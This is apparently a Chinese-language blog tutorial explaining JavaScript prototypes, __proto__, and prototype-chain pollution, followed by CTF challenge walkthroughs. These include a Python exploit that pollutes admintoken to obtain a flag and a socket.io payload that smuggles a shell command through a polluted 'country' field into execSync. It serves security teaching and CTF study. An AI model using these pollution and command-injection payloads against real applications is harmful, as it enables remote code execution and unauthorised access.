0x01
先上一张图,如果这张图你都能看懂的话,我觉得就没必要再往下看了
由图可得:
1、所有的对象都有__proto__属性,该属性对应该对象的原型.
2、所有的函数(也只有函数才有)对象都有prototype属性,该属性的值会被赋值给该函数创建的对象的_proto_属性.
3、所有的原型对象都有constructor属性,该属性对应创建所有指向该原型的实例的构造函数.
4、函数对象和原型对象通过prototype和constructor属性进行相互关联.
0x02
函数字面量
所有构造函数的__proto__都指向Function.prototype,它是一个空函数(Empty function)
对象字面量
对象字面量的__proto__直接指向大Boss-->Object
0x03
解读图
new操作符,在js中用于创建一个新的对象,在实际实现
(var p=new ObjectName(param1,parem2...);)的过程中,主要经历了以下三个步骤:
- var o={};
- o.__proto__=ObjectName.prototype;
- ObjectName.call(o,parma1,param2);
剩下的可以先看完0x04部分再回来看,会有比较好的理解
0x04
我们知道javascript是能实现面向对象编程的,但javascript语法不支持"类",导致传统的面向对象编程方法无法直接使用。伟大的程序员做了很多探索,研究了如何用Javascript模拟"类"。
构造函数法
极简主义法
封装
这种方法的好处是,容易理解,结构清晰优雅,符合传统的"面向对象编程"的构造,因此可以方便地部署下面的特性。
继承
私有属性和私有方法
既然javasctipt能这么猛,能搞继承,那能不能有私有属性和私有方法呢?既然猛,那就再猛一点,答案是有的
细心点的童鞋可能发现了,上例的的内部变量age,外部无法获取。那么要如何来获取呢?跟其他语言一样,如下
prototype大法
我个人觉得上面两种方法虽然把模拟类实现的差不多了,上面实现继承是在函数里面再去继承,这样每次声明一个实例会将Animal复制一遍,这显然不是最优的方法。但是有没有既简单有最优的做法,答案是有的。也就是题目说的prototype大法。
这时再回去看0x03你可能会理解的更好
原型链污染
真题实战1
function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^w:/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return '<img src="{{source}}">'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}
详解请看:[CTF – Prompt(1)解题报告 [Level D – Json Object]
真题实战2
```
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now
var matrix = [];
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
function draw(mat) {
var count = 0;
for (var i = 0; i < 3; i++){
for (var j = 0; j < 3; j++){
if (matrix[i][j] !== null){
count += 1;
}
}
}
return count === 9;
}
app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
app.get('/', (req, res) => {
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
res.render('index');
})
app.get('/admin', (req, res) => {
/this is under development I guess ??/
console.log(user.admintoken);
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is flag{prototype_pollution_is_very_dangerous}');
}
else {
res.status(403).send('Forbidden');
}
}
)
app.post('/api', (req, res) => {
var client = req.body;
var winner = null;
if (client.row > 3 || client.col > 3){
client.row %= 3;
client.col %= 3;
}
matrix[client.row][client.col] = client.data;
for(var i = 0; i < 3; i++){
if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
if (matrix[i][0] === 'X') {
winner = 1;
}
else if(matrix[i][0] === 'O') {
winner = 2;
}
}
if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
if (matrix[0][i] === 'X') {
winner = 1;
}
else if(matrix[0][i] === 'O') {
winner = 2;
}
}
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
winner = 1;
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
winner = 2;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
winner = 1;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
winner = 2;
}
if (draw(matrix) && winner === null){
res.send(JSON.stringify({winner: 0}))
}
else if (winner !== null) {
res.send(JSON.stringify({winner: winner}))
}
else {
res.send(JSON.stringify({winner: -1}))
}
})
app.listen(3000, () => {
console.log('app listening on port 3000!')
})
```
关键代码
```
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is flag{prototype_pollution_is_very_dangerous}');
}
var user = [];
var matrix = [];
matrix[client.row][client.col] = client.data;
```
这里刚开始user.admintoken是undefined的,而我们可控的是client,而且user跟matrix都是数组类型,那么利用原型链污染来覆盖admintoken。下面是exp
```
-- coding: utf-8 --
@Author: Marte
@Date: 2019-05-04 15:07:07
@Last Modified by: Marte
@Last Modified time: 2019-05-04 15:08:18
-- coding:utf8 --
import requests
import json
headers = {
'Content-Type': 'application/json'
}
data = {
'row': 'proto',
'col': 'admintoken',
'data': 'Decade'
}
myd = requests.session()
url = "http://localhost:3000/api"
url2 = "http://localhost:3000/admin?querytoken=ad3bf81f37b9dddba943b53f7670c57b"
myd.post(url, headers=headers, data=json.dumps(data))
print myd.get(url2).content
```
真题实战3
```javascript
client.js
const io = require('socket.io-client')
const socket = io.connect('https://chat.dctfq18.def.camp')
if(process.argv.length != 4) {
console.log('name and channel missing')
process.exit()
}
console.log('Logging as ' + process.argv[2] + ' on ' + process.argv[3])
var inputUser = {
name: process.argv[2],
};
socket.on('message', function(msg) {
console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:n", msg.message);
});
socket.on('error', function (err) {
console.log('received socket error:')
console.log(err)
})
socket.emit('register', JSON.stringify(inputUser));
socket.emit('message', JSON.stringify({ msg: "hello" }));
socket.emit('join', process.argv[3]);//ps: you should keep your channels private
socket.emit('message', JSON.stringify({ channel: process.argv[3], msg: "hello channel" }));
socket.emit('message', JSON.stringify({ channel: "test", msg: "i own you" }));
```
```javascript
default_settings.json
{
"name": "Default",
"lastname": "Username",
"status": "Status Text",
"location": "127.0.0.1",
"country": "No Man`s Land",
"source": "Website",
"port": "3000"
}
```
```javascript
helper.js
var exports = module.exports = {
clone: function(obj) {
if (typeof obj !== 'object' ||
obj === null) {
return obj;
}
var newObj;
var cloneDeep = false;
if (!Array.isArray(obj)) {
if (Buffer.isBuffer(obj)) {
newObj = new Buffer(obj);
}
else if (obj instanceof Date) {
newObj = new Date(obj.getTime());
}
else if (obj instanceof RegExp) {
newObj = new RegExp(obj);
}
else {
var proto = Object.getPrototypeOf(obj);
if (proto &&proto.isImmutable) {
newObj = obj;
}
else {
newObj = Object.create(proto);
cloneDeep = true;
}
}
}
else {
newObj = [];
cloneDeep = true;
}
if (cloneDeep) {
var keys = Object.getOwnPropertyNames(obj);
for (var i = 0; i < keys.length; ++i) {
var key = keys[i];
var descriptor = Object.getOwnPropertyDescriptor(obj, key);
if (descriptor &&(descriptor.get ||descriptor.set)) {
Object.defineProperty(newObj, key, descriptor);
}
else {
newObj[key] = this.clone(obj[key]);
}
}
}
return newObj;
},
validUser: function(inp) {
var block = ["source","port","font","country",
"location","status","lastname"];
if(typeof inp !== 'object') {
return false;
}
var keys = Object.keys( inp);
for(var i = 0; i< keys.length; i++) {
key = keys[i];
if(block.indexOf(key) !== -1) {
return false;
}
}
var r =/^[a-z0-9]+$/gi;
if(inp.name === undefined || !r.test(inp.name)) {
return false;
}
return true;
},
getAscii: function(message) {
var e = require('child_process');
return e.execSync("echo '" + message + "'").toString();
}
}
```
```javascript
server.js
var fs = require('fs');
var server = require('http').createServer()
var io = require('socket.io')(server)
var clientManager = require('./clientManager')
var helper = require('./helper')
var defaultSettings = JSON.parse(fs.readFileSync('default_settings.json', 'utf8'));
function sendMessageToClient(client, from, message) {
var msg = {
from: from,
message: message
};
client.emit('message', msg);
console.log(msg)
return true;
}
function sendMessageToChannel(channel, from, message) {
var msg = {
from: typeof from !== 'string' ? clientManager.getUsername(from): from,
message: message,
channel: channel
};
if(typeof from !== 'string') {
if(!clientManager.isSubscribedTo(from, channel)) {
console.log('Could not send message',msg,' from',
clientManager.getUsername(from),'to',channel,'because he is not subscribed.')
return false;
}
}
var clients = clientManager.getSubscribedToChannel(channel);
for(var i = 0; i<clients.length;i++) {
if(typeof from !== 'string') {
if(clients[i].id == from.id) {
continue;
}
}
clients[i].emit('message', msg);
}
console.log(msg)
return true;
}
io.on('connection', function (client) {
client.on('register', function(inUser) {
try {
newUser = helper.clone(JSON.parse(inUser))
console.log(newUser);
if(!helper.validUser(newUser)) {
sendMessageToClient(client,"Server",
'Invalid settings.')
return client.disconnect();
}
var keys = Object.keys(defaultSettings);
for (var i = 0; i < keys.length; ++i) {
if(newUser[keys[i]] === undefined) {
newUser[keys[i]] = defaultSettings[keys[i]]
}
}
if (!clientManager.isUserAvailable(newUser.name)) {
sendMessageToClient(client,"Server",
newUser.name + ' is not available')
return client.disconnect();
}
clientManager.registerClient(client, newUser)
return sendMessageToClient(client,"Server",
newUser.name + ' registered')
} catch(e) { console.log(e); client.disconnect() }
});
client.on('join', function(channel) {
try {
clientManager.joinChannel(client, channel);
sendMessageToClient(client,"Server",
"You joined channel", channel)
var u = clientManager.getUsername(client);
var c = clientManager.getCountry(client);
console.log(c);
sendMessageToChannel(channel,"Server",
helper.getAscii("User " + u + " living in " + c + " joined channel"))
} catch(e) { console.log(e); client.disconnect() }
});
client.on('leave', function(channel) {
try {
client.join(channel);
clientManager.leaveChannel(client, channel);
sendMessageToClient(client,"Server",
"You left channel", channel)
var u = clientManager.getUsername(client);
var c = clientManager.getCountry(client);
sendMessageToChannel(channel, "Server",
helper.getAscii("User " + u + " living in " + c + " left channel"))
} catch(e) { console.log(e); client.disconnect() }
});
client.on('message', function(message) {
try {
message = JSON.parse(message);
if(message.channel === undefined) {
console.log(clientManager.getUsername(client),"said:", message.msg);
} else {
sendMessageToChannel(message.channel, client, message.msg);
}
} catch(e) { console.log(e); client.disconnect() }
});
client.on('disconnect', function () {
try {
console.log('client disconnect...', client.id)
var oldclient = clientManager.removeClient(client);
if(oldclient !== undefined) {
for (const [channel, state] of Object.entries(oldclient.ch)) {
if(!state) continue;
sendMessageToChannel(channel, "Server",
"User " + oldclient.u.name + " left channel");
}
}
} catch(e) { console.log(e); client.disconnect() }
})
client.on('error', function (err) {
console.log('received error from client:', client.id)
console.log(err)
})
});
server.listen(3000, function (err) {
if (err) throw err;
console.log('listening on port 3000');
});
```
```javascript
package.json
{
"name": "chat",
"version": "1.0.0",
"description": "DCTF",
"main": "NA",
"dependencies": {
"socket.io": "^2.2.0",
"socket.io-client": "^2.2.0"
},
"devDependencies": {},
"scripts": {
"test": "NA"
},
"repository": {
"type": "git",
"url": "NA"
},
"keywords": [
"DCTF"
],
"author": "Andrei",
"license": "UNLICENSED"
}
```
```javascript
clientManager.js
var helper = require('./helper')
var exports = module.exports = {
clients: {},
getUserByClient: function(client) {
return this.clients[client.id]
},
registerClient: function (client, user) {
this.clients[client.id] = { 'c': client,
'u': user,
'ch': {}
};
},
removeClient: function (client) {
var client_old = this.clients[client.id]
if(client_old === undefined)
return client_old
delete client_old.c
client_old = helper.clone(client_old)
delete this.clients[client.id];
return client_old
},
isUserAvailable: function (userName) {
for (var [key, user] of Object.entries(this.clients)) {
if(user.u.name == userName) {
return false;
}
}
return true;
},
getUsername: function (client) {
return this.clients[client.id].u.name;
},
getLastname: function (client) {
return this.clients[client.id].u.lastname;
},
getCountry: function (client) {
return this.clients[client.id].u.country;
},
getLocation: function (client) {
return this.clients[client.id].u.location;
},
getStatus: function (client) {
return this.clients[client.id].u.status;
},
joinChannel: function (client, channel) {
this.clients[client.id].ch[channel] = true;
},
leaveChannel: function (client, channel) {
this.clients[client.id].ch[channel] = false;
},
getSubscribedToChannel: function(channel) {
var subscribed = [];
for (var [key, user] of Object.entries(this.clients)) {
if(user.ch[channel] === true) {
subscribed.push(user.c);
}
}
return subscribed;
},
isSubscribedTo: function(client, channel) {
var user = this.getUserByClient(client)
for (var [chs, state] of Object.entries(user.ch)) {
if(state === true && chs === channel) {
return true;
}
}
return false;
},
};
```
在helper.js,有一个很让人怀疑的地方
getAscii: function(message) {
var e = require('child_process');
return e.execSync("echo '" + message + "'").toString();
}
追踪调用到了此函数的地方发现,这里Username可控,但是Country不可控,那么有没有可能通过原型链污染来控制这个Country呢?
var u = clientManager.getUsername(client);
var c = clientManager.getCountry(client);
sendMessageToChannel(channel,"Server",
helper.getAscii("User " + u + " living in " + c + " joined channel"))
答案是有的,在helper.js这里,采用了深复制了输入的inUser
```
if (cloneDeep) {
var keys = Object.getOwnPropertyNames(obj);
for (var i = 0; i < keys.length; ++i) {
var key = keys[i];
var descriptor = Object.getOwnPropertyDescriptor(obj, key);
if (descriptor &&(descriptor.get ||descriptor.set)) {
Object.defineProperty(newObj, key, descriptor);
}
else {
newObj[key] = this.clone(obj[key]);
}
}
}
return newObj;
```
巧妙构造exp如下,即可命令执行
socket.emit('register', '{"name":"Decade", "__proto__":{"country":"';ls;echo 'lala"}}');
真题实战4
源码地址:https://github.com/phith0n/code-breaking/tree/master/2018/thejs
可以看看p牛的文章分析:https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
p牛这篇文章要特别注意,写exp的时候记得用JSON.dumps传进去!!!
也可以参考Twings师傅的文章:JavaScript原型链污染
真题实战5
源码地址:https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs
https://xz.aliyun.com/t/6113#toc-5
可以很明显的看到lodash 4.17.15版本存在原型链污染漏洞。这里/get的逻辑大概就是从数据库查找评论,超过5条,合并在一起。
由于后端使用的ejs模版,那么如果ejs模版本身存在可以被污染的对象,直接即可getshell。
真题实战6
环境搭建及分析:https://xz.aliyun.com/t/7025#toc-1(vk师傅tql)
受真题实战5的启发,尝试在jade模版中找到可污染变量达到getshell的效果,这里手动构造一个原型链污染的入口,采用常规的merge方法。
生成null原型防止污染
python扩展
细心的同学就会发现这一个跟python有一个沙盒逃逸有点像,那么python会不会也有类似的"污染"呢?
)
翻阅了一些书籍,将Linux系统学习下来还是有一些难度,毕竟成为一名合格的Linux运维工程师,须必备的技术点,是渗透到方方面面。先说说基础入门基础入门涉及到的知识点不外乎:虚拟机、vmware虚拟机、VM基本操作、基本命令、Linux用户及权限基础、Linu…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论